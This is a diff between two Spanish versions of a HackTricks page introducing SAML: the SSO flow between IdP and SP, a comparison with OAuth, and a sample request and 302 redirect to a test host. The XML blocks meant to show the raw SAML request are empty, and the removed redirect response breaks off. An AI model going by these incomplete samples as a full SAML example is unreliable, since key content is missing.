@@ -1,276 +1,95 @@
-```markdown
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**artículos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
+* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
-# Descripción
+# Visión general de SAML
-Security Assertion Markup Language (SAML) es un estándar abierto que permite a los proveedores de identidad (IdP) pasar credenciales de autorización a los proveedores de servicios (SP). Lo que significa ese tecnicismo es que puedes **usar un conjunto de credenciales para iniciar sesión en muchos sitios web diferentes**. Es mucho más sencillo gestionar un inicio de sesión por usuario que gestionar inicios de sesión separados para el correo electrónico, software de gestión de relaciones con clientes (CRM), Active Directory, etc.
+**Security Assertion Markup Language (SAML)** es un estándar abierto que permite a los proveedores de identidad (IdP) enviar credenciales de autorización a los proveedores de servicios (SP). Básicamente, permite el inicio de sesión único (SSO), lo que permite el uso de un conjunto de credenciales en varios sitios web. Esto simplifica la gestión de múltiples inicios de sesión, como en el correo electrónico, software CRM o Active Directory. SAML utiliza XML para facilitar la comunicación estandarizada entre el IdP y los SP, vinculando la autenticación de identidad del usuario con la autorización del servicio.
-Las transacciones SAML utilizan Extensible Markup Language (XML) para comunicaciones estandarizadas entre el proveedor de identidad y los proveedores de servicios. SAML es el enlace entre la autenticación de la identidad de un usuario y la autorización para usar un servicio. (De [aquí](https://www.varonis.com/blog/what-is-saml/))
+# Comparación entre SAML y OAuth
-# SAML vs. OAuth
+Si bien tanto **SAML** como **OAuth** ofrecen inicios de sesión en internet simplificados, tienen sus diferencias:
-OAuth es un estándar un poco más reciente que fue co-desarrollado por Google y Twitter para facilitar los inicios de sesión en Internet. OAuth utiliza una metodología similar a SAML para compartir información de inicio de sesión. **SAML ofrece más control** a las empresas para mantener sus inicios de sesión SSO más seguros, mientras que **OAuth es mejor en dispositivos móviles y utiliza JSON**.
+- **SAML** ofrece más control a las empresas, mejorando la seguridad de los inicios de sesión SSO.
+- **OAuth** es más amigable para dispositivos móviles, utiliza JSON y fue co-desarrollado por Google y Twitter.
-# Esquema
+# Flujo de autenticación SAML
-![saml-flow](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
+Para más detalles, consulta la publicación completa en [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). Este es un resumen:
-1. Paso 1 - Intentamos acceder a algún recurso protegido
-2. Paso 2 - El servidor donde reside ese recurso (Proveedor de Servicios) no nos conoce, por lo que genera una **Solicitud SAML** para enviar al Proveedor de Identidad. Sería como llegar a Alemania sin nuestro pasaporte y ser enviado de vuelta a EE.UU. para obtener nuestro pasaporte antes de poder entrar al país.
-3. Paso 3 - Después de generar la Solicitud SAML, el SP nos **redirige** al IdP. Nota: La Solicitud SAML pasa por nuestro navegador en el camino hacia el IdP.
-4. Paso 4 - El IdP recibe la Solicitud SAML
-5. Paso 4a (no mostrado) - El IdP proporciona algún medio de autenticación; un formulario de inicio de sesión o algo similar.
-6. Paso 4b (no mostrado) - El IdP nos valida como un usuario legítimo que debería tener permiso para acceder al recurso incluido como parte de la Solicitud SAML
-7. Paso 5 - El IdP crea una **Respuesta SAML**. La Respuesta SAML contiene las Afirmaciones SAML necesarias para el SP. La Afirmación generalmente incluye la siguiente información como mínimo: Indicación de que la Afirmación proviene del IdP correcto, un atributo **NameID** que especifica quién es el usuario y una firma digital. La Respuesta SAML también pasa por nuestro navegador.
-8. Paso 6 - El IdP nos **redirige** a la URL del Servicio de Consumo de Afirmaciones (ACS) del SP. El ACS es simplemente la URL en la que el SP espera recibir afirmaciones SAML.
-9. Paso 7 - El ACS valida la Respuesta SAML.
-10. Paso 8 - Se nos permite acceder al recurso que originalmente solicitamos.
+El proceso de autenticación SAML implica varios pasos, como se ilustra en el esquema:
-# Ejemplo de Solicitud SAML
+![https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg)
-Vamos a examinar más de cerca los pasos 2 y 3 mencionados anteriormente. Haremos una solicitud al Proveedor de Servicios de ejemplo para el recurso ubicado en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/), que como su nombre indica, es contenido que requiere que estemos autenticados para ver.
+1. **Intento de acceso a recursos**: El usuario intenta acceder a un recurso protegido.
+2. **Generación de solicitud SAML**: El SP no reconoce al usuario y genera una solicitud SAML.
+3. **Redirección al IdP**: El usuario es redirigido al IdP, con la solicitud SAML pasando a través del navegador del usuario.
+4. **Recepción de solicitud por el IdP**: El IdP recibe la solicitud SAML.
+5. **Autenticación en el IdP**: El IdP autentica al usuario.
+6. **Validación del usuario**: El IdP valida la legitimidad del usuario para acceder al recurso solicitado.
+7. **Creación de respuesta SAML**: El IdP genera una respuesta SAML que contiene las afirmaciones necesarias.
+8. **Redirección a la URL ACS del SP**: El usuario es redirigido a la URL del Servicio de Consumidor de Afirmaciones (ACS) del SP.
+9. **Validación de la respuesta SAML**: El ACS valida la respuesta SAML.
+10. **Acceso a recursos concedido**: Se concede acceso al recurso solicitado inicialmente.
-_shibdemo-sp1.test.edu es una instancia virtualizada local de un IdP y SP para pruebas, no un sitio real_
-```
+# Ejemplo de solicitud SAML
+
+Considera el escenario en el que un usuario solicita acceso a un recurso seguro en [https://shibdemo-sp1.test.edu/secure/](https://shibdemo-sp1.test.edu/secure/). El SP identifica la falta de autenticación y genera una solicitud SAML:
```
GET /secure/ HTTP/1.1
Host: shibdemo-sp1.test.edu
-User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
-Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
-Accept-Language: en-US,en;q=0.5
-Accept-Encoding: gzip, deflate
-Referer: https://shibdemo-sp1.test.edu/
-Connection: close
-Upgrade-Insecure-Requests: 1
+...
```
-El SP genera una Solicitud SAML porque no estamos autenticados. Podemos ver la Solicitud SAML en bruto a continuación.
-```markup
+La solicitud SAML en bruto se ve así:
+```xml
-
-https://shibdemo-sp1.test.edu/shibboleth
-
+
```
-* **AssertionConsumerServiceURL**: Identifica dónde el IdP debe enviar la Respuesta SAML después de la autenticación
-* **Destination**: Indica la dirección a la que se debe enviar la solicitud (IdP)
-* **ProtocolBinding**: Acompaña típicamente al atributo AssertionConsumerServiceURL; define el mecanismo por el cual se transmitirán los mensajes del protocolo SAML
-* **saml:Issuer**: Identifica la entidad que generó el mensaje de solicitud
+Los elementos clave de esta solicitud incluyen:
+- **AssertionConsumerServiceURL**: Especifica a dónde debe enviar el IdP la Respuesta SAML después de la autenticación.
+- **Destination**: La dirección del IdP a la que se envía la solicitud.
+- **ProtocolBinding**: Define el método de transmisión de mensajes del protocolo SAML.
+- **saml:Issuer**: Identifica la entidad que inició la solicitud.
-Hemos resaltado los elementos más pertinentes de la solicitud arriba, pero los detalles sobre cualquiera de los otros elementos se pueden ver en la [especificación principal](https://docs.oasis-open.org/security/saml/v2.0/saml-core-2.0-os.pdf). La solicitud anterior se resume así: "Hola, por favor autentica al usuario que envió este mensaje y luego que el mismo usuario me contacte cuando hayan terminado".
+Después de generar la Solicitud SAML, el SP responde con una **redirección 302**, dirigiendo el navegador al IdP con la Solicitud SAML codificada en la cabecera **Location** de la respuesta HTTP. El parámetro **RelayState** mantiene la información de estado durante la transacción, asegurando que el SP reconozca la solicitud de recurso inicial al recibir la Respuesta SAML. El parámetro **SAMLRequest** es una versión comprimida y codificada del fragmento XML sin procesar, utilizando compresión Deflate y codificación base64.
-Con la Solicitud SAML creada, el SP ahora responde a nuestra solicitud GET para `/secure/` con un **redireccionamiento 302**. El 302 dirige nuestro navegador hacia el IdP. La Solicitud SAML se codifica en el encabezado **Location** de la respuesta HTTP como parte del 302.
-```markup
-HTTP/1.1 302 Found
-Date: Tue, 12 Mar 2019 20:54:58 GMT
-Server: Apache/2.2.3 (CentOS)
-Expires: Wed, 01 Jan 1997 12:00:00 GMT
-Cache-Control: private,no-store,no-cache,max-age=0
-Location: https://shibdemo-idp.test.edu/idp/profile/SAML2/Redirect/SSO?SAMLRequest=fZJdT4MwFIb%2FCuk9FNgmWzNIcLtwyXRkoBfemFKO0gRa7Cl%2B%2FHvZmDoTs8u2b5%2B350mXyNumY2lva7WH1x7QOh9to5AdD2LSG8U0R4lM8RaQWcHy9HbLQs9nndFWC90QJ0UEY6VWK62wb8HkYN6kgPv9Nia1tR0ySrGWZQWtdrELPDs0eVD1NB92S92ArT1ETQ%2FwkGa7vCDOeshIxQ%2Fcfyiy6n4pw4IOz3mWDZwQe6ikAWFpnu%2BIs1nH5ElUHKJgHk7mJV%2BI0I%2F4ZCZEJCK%2F9KdX3B9iiD1sFFqubExCP1i4%2FsQNwiL02WzKZvNH4mSnqa%2BlqqR6uayoHEPIbooic8exHsDgcaQhQJLlQTQ7Fpsz9Zex%2FNs3SS7bxR%2B7S3pWNLZ27G4gb9aZbqT4dNKm0e8rA9xCTAJCk%2FHK39%2BRfAE%3D&RelayState=ss%3Amem%3A39430bdac29d44586c326f12b4cb3345ffa47137a374e37cba0877e0fc79ea91
-Content-Length: 897
-Connection: close
-Content-Type: text/html; charset=iso-8859-1
-
-
-
-302 Found
-
-